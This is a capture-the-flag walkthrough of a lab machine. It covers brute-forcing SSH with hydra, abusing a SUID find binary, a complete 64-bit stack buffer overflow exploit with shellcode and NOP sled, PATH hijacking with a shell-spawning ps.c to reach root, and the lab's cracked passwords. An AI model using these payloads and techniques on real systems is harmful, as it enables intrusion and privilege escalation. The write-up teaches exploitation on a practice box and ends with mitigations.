🔗Binex
Exploiting the SUID bit and a buffer overflow for privesc after brute forcing the initial access.
Reconnaissance
After starting the target box and adding its IP to /etc/hosts
as binex.thm
we start with a basic TCP Syn scan over all ports. We find 3 open ports:

nmap -sS -p-
Using nmap
with -sV
for version detection we can confirm what applications run on these ports. Namely an OpenSSH server (v7.6p1) and Samba.
nmap -Pn -sS -sV binex.thm -p22,139,445
As there don't seem to be any other services active we can start with some default enumeration for the two services we found. If this yields nothing we could still scan for open UDP ports.
Service Enumeration
Unfortuantely, trying default credentials like root:root
fails with SSH so we go straight to enumerating Samba. Though we could try various nmap
scripts for enumeration and scanning, we are going to use a separate tool for this.
With enum4linux-ng
we are able to find 2 (default system-) shares and 4 valid users.
enum4linux-ng -As -R binex.thm

enum4linux-ng
Valid usernames: tryhackme
, kel
, des
and noentry
Using the answer format of the first question we can assume that tryhackme
is the user we are looking for for our initial access.
We know that this room is supposed to focus on binary exploitation so the initial access phase isn't supposed to be very difficult. Hence, we can move on to find a valid password for the user.
Initial Access
At this point we don't have any other available information except a valid username. After trying some default passwords like letmein
manually we start hydra
to brute force the password of the tryhackme
user on the SSH server.
hydra -l tryhackme -P /usr/share/wordlists/rockyou.txt ssh://binex.thm -v -f -t 4
After approximately 15 minutes of brute forcing we finally get a hit!
Valid credentials: tryhackme:thebest
Logging in with the found credentials we can now start looking for a way to gain root
.
Privilege Escalation
User: tryhackme
The subtle task title "SUID :: Binary 1" suggests that we are looking for SUID binaries to exploit. However, even if we weren't given this hint - a quick manual enumeration shows: we don't have elevated privileges yet, there is no obvious cronjob placed, the permissions for important files are set to default and there don't seem to be any interesting files lying around in /tmp
. We do find an outdated sudo
version though (-> Baron Samedit) but let's stick to the intended way.
To look for SUID binaries we could either use a quick find / -perm /4000 2>/dev/null
, an automated checker like SUID3NUM or the little more verbose variant of the first command:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Reading the output, two binaries stand out from the rest:
-rwsr-xr-x 1 kel kel 8600 Jan 17 2020 /home/des/bof
: This binary resides indes
home directory which we can't access astryhackme
.-rwsr-sr-x 1 des des 238080 Nov 5 2017 /usr/bin/find
: This is unusual asfind
is owned by the userdes
and usually doesn't come with the SUID bit set.
Using GTFOBins entry on find
we can spawn a shell with the euid
of the user des
and read the first flag.

find
to escalate privileges to the user des
Together with the first flag we are also given the credentials for the user des
so we can switch to a stable SSH session for further privilege escalation.
Valid credentials: des:destructive_72656275696c64
User: des
Now that we are des
we have access to that SUID binary we found earlier: bof
. This program is owned by the user kel
so exploiting it should give us access to yet another user on our way to root
.
Being curious, we simply run the executable to see what happens. After being prompted Enter some string
and keeping the executable name in mind it seems obvious that we'll have to exploit a buffer overflow. We confirm this by testing the input with a large string. As expected, the application crashes.

Since we are also provided the source code of the application, let's have a look at that before diving into exploitation. (In the second tab I've added some comments to explain the code a little bit.)
#include <stdio.h>
#include <unistd.h>
int foo(){
char buffer[600];
int characters_read;
printf("Enter some string:\n");
characters_read = read(0, buffer, 1000);
printf("You entered: %s", buffer);
return 0;
}
void main(){
setresuid(geteuid(), geteuid(), geteuid());
setresgid(getegid(), getegid(), getegid());
foo();
}
Basically, putting in a string longer than 600 characters (such as 1000 "A"s) will cause the program to overwrite whatever is on the stack above the buffer
variable.
I'm looking forward to do a more detailed writeup on the basic buffer overflow and how it works - so let's focus on just exploiting this binary for now.
Developing an Exploit for a Buffer Overflow
Fortunately, the target comes with gdb
preinstalled. Otherwise we could've brought our own tools or analysed the binary at home. For the next steps, it's easiest to have two SSH sessions - one for gdb
and one for experimenting / crafting the input.
Finding the Offset of the RIP
First we need to find out at what size of the input the application starts to crash. We already know that it must be larger than 600 bytes. Taking into account the 8 bytes for the integer and 8 bytes for the RBP, we should, in theory, need at max 616 bytes to start overwriting the RIP. But let's assume we didn't know the source code and crash the application with 1000 "A"s to see what happens.

gdb
We've successfully overwritten the RBP (and a bunch of other things on the stack) with "A"s. Looking at the saved return value of the RIP for the current frame (with info frame
), we can also confirm that we overwrote the return address:

Now, to find the actual offset of the RIP or RBP (since they are both right next to each other we only need to find out one), we will use a cyclic pattern as input and check what value ends up in the RBP. Due to the input being a cyclic pattern we can then calculate the exact amount of bytes needed to hit the RBP and RIP.
Here we use cyclic
(part of pwntools
that does the same as pattern_create.rb
and pattern_offset.rb
from metasploit_framework
) to create and detect a pattern:

Create a cyclic pattern with length 700
Save the pattern to an input file
Run the application in
gdb
with the crafted inputRead the value from RBP - How to read this value depends on the endianess which we can check with
show endian
ingdb
. In this case (and most commonly) it's little endian, which means that values are stored LSB first. Hence, when we translate the HEX address to ASCII we get:0x6761616467616163 -> ASCII -> gaadgaac -> LSB first -> caagdaag
Since the address is 8 byte long, but the
cyclic
tool works with 4 byte patterns, we only need to search for the patterncaag
. This gives us an offsett of 608 bytes.
So now we know that exactly after 608 bytes we start overwriting the RBP that's stored on the stack. And once we've overwritten these 8 bytes we start overwriting the 8 bytes of the stored RIP. Thus, we know that we must pad our custom return address with 616 (608 + 8 for RBP) bytes.
Finding a Return Address
Now that we know how to control the RIP (608*"A" + 8*"B" + return_address) we must find a suitable address to insert. Our end goal is to execute custom code; we know that we can write at least 600 bytes on the stack and we also know that ASLR is disabled. Hence, we are going to try the following:

So we are going to point the RIP to an address on the stack with our crafted payload. Let's inspect the stack once we crashed the application with the following input:
python -c 'print("B"+"A"*615+"\xff\xff\xff\xff\xff\x7f\x00\x00")' > input
(gdb) r < input # start
Starting program: /home/des/bof < input
Enter some string:
Program received signal SIGSEGV, Segmentation fault. # ./bof crashed
0x00007fffffffffff in ?? () # we overwrote RIP
(gdb) x/78xg $rsp - 624 # show the stack
0x7fffffffe230: 0x4141414141414142 0x4141414141414141 # 0x42 = "B"
0x7fffffffe240: 0x4141414141414141 0x4141414141414141
0x7fffffffe250: 0x4141414141414141 0x4141414141414141
0x7fffffffe260: 0x4141414141414141 0x4141414141414141
0x7fffffffe270: 0x4141414141414141 0x4141414141414141
0x7fffffffe280: 0x4141414141414141 0x4141414141414141
0x7fffffffe290: 0x4141414141414141 0x4141414141414141
0x7fffffffe2a0: 0x4141414141414141 0x4141414141414141
0x7fffffffe2b0: 0x4141414141414141 0x4141414141414141
0x7fffffffe2c0: 0x4141414141414141 0x4141414141414141
0x7fffffffe2d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe2e0: 0x4141414141414141 0x4141414141414141
0x7fffffffe2f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe300: 0x4141414141414141 0x4141414141414141
0x7fffffffe310: 0x4141414141414141 0x4141414141414141
0x7fffffffe320: 0x4141414141414141 0x4141414141414141
0x7fffffffe330: 0x4141414141414141 0x4141414141414141
0x7fffffffe340: 0x4141414141414141 0x4141414141414141
0x7fffffffe350: 0x4141414141414141 0x4141414141414141 # 615 * "A"
0x7fffffffe360: 0x4141414141414141 0x4141414141414141
0x7fffffffe370: 0x4141414141414141 0x4141414141414141
0x7fffffffe380: 0x4141414141414141 0x4141414141414141
0x7fffffffe390: 0x4141414141414141 0x4141414141414141
0x7fffffffe3a0: 0x4141414141414141 0x4141414141414141
0x7fffffffe3b0: 0x4141414141414141 0x4141414141414141
0x7fffffffe3c0: 0x4141414141414141 0x4141414141414141
0x7fffffffe3d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe3e0: 0x4141414141414141 0x4141414141414141
0x7fffffffe3f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe400: 0x4141414141414141 0x4141414141414141
0x7fffffffe410: 0x4141414141414141 0x4141414141414141
0x7fffffffe420: 0x4141414141414141 0x4141414141414141
0x7fffffffe430: 0x4141414141414141 0x4141414141414141
0x7fffffffe440: 0x4141414141414141 0x4141414141414141
0x7fffffffe450: 0x4141414141414141 0x4141414141414141
0x7fffffffe460: 0x4141414141414141 0x4141414141414141
0x7fffffffe470: 0x4141414141414141 0x4141414141414141
0x7fffffffe480: 0x4141414141414141 0x0000027141414141 # note the 0x271
0x7fffffffe490: 0x4141414141414141 0x00007fffffffffff # overwritten RIP
The left column displays the virtual address on the stack, so we can read that the first byte of our input ("B" for visibility) is placed at the address 0x7fffffffe230 (keep in mind it's little endian).
Saw that 0x00000271 on the stack? Converted to decimal that's 625. This is the return value of the read
function that indicates how many bytes were read from stdin
. We printed 624 bytes and the python print
statement added a \n
to complete the input for a total of 625 bytes. Note that, although 8 bytes were reserved for the integer, only 4 bytes were actually used by the responsible assembler instruction.
This is important to keep in mind because it overwrites what we put on the stack, so we shouldn't place our shellcode on this address. (This still leaves us with 600 bytes for our shellcode.)
Having an address to jump to, we can now create the shellcode (assembler instructions that will spawn a shell for us).
Creating the Final Payload
For the shellcode we can either use the one provided in the room or we create our own, for example with msfvenom
or shellcraft
(pwntools
):
shellcraft amd64.linux.execve "/bin///sh" "['sh', '-p']" -f s
We can quickly check the length of the string in python with len("<shellcode>")
which in this case returns 68. Theoretically, we could now build a payload like this:
# The return address is now 0x7FFFFFFFE230 and will point right to
# the start of our input, i.e. at the shellcode. The "A"s are for padding.
<shellcode>+ "A"*(616-<len(shellcode)>) +"\x30\xe2\xff\xff\xff\x7f\x00\x00"
# Let's put that in a oneliner to create our input
python -c 'print("jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(616-68) +"\x30\xe2\xff\xff\xff\x7f\x00\x00")' > input
If we run this in gdb
we can see that it works, but we can't interact with the spawned shell from within gdb
.

gdb
However, if we were to use the same input directly on the binary it would fail with a segmentation fault, simply because running the application outside of the gdb context means a slightly different address space. So the hardcoded address pointing to the first byte of our buffer is slightly off.
We can account for that by using a NOP sled though. Instead of pointing to the first byte, we will choose an address that's predictably somewhere inside our buffer. By filling the space around this address with \x90
(NOP instruction) it doesn't matter if the RIP lands a bit before or after the target address as it will slide along the NOPs until it hits the shellcode.
Since the buffer is pretty large, we can prepend the shellcode with 200 NOPs. Using the start address of the buffer + 128 bytes (0x7fffffffe2a0) should give us enough margin to both sides.
# Final payload: 200 NOPs + shellcode + (padding to a total offset of 616) + RIP
python -c 'print("\x90"*200 + "jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(416-68) +"\xa0\xe2\xff\xff\xff\x7f\x00\x00")' > input
Finally, using the generated input - we get an interactive shell and kel
s flag.

Valid credentials: kel:kelvin_74656d7065726174757265
User: kel
On to the final privilege escalation, we find another SUID binary "exe
" and its source code in kel
s home directory. This one is owned by root
so we should be done soon.
The source code immediately reveals the vulnerability:
/* exe.c */
void main()
{
setuid(0);
setgid(0);
system("ps");
}
The program calls ps
without specifying the entire path. By creating a custom binary called ps
and making sure that this one will be found before the original, we can execute code as root
. All that's left to do is to create an executable that spawns a shell for example, rename it to ps
, place it in the current directory, add the current directory to the PATH
variable and execute exe
.
/* ps.c */
// Compile with gcc ps.c -o ps
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
Finally, we get a shell as root
and can read the last flag.

root
and read last flagMitigations
During this box we found multiple weak points that could easily be fixed:
Weak password for the user
tryhackme
A binary with unnecessary and unsafe permissions (for example
find
should be owned byroot
and must not be given theSUID
permission)Unsafe C-code (do not read from or write to memory without proper safety checks)
More unsafe code (properly specify binaries including their full path when calling them)
Last updated
Was this helpful?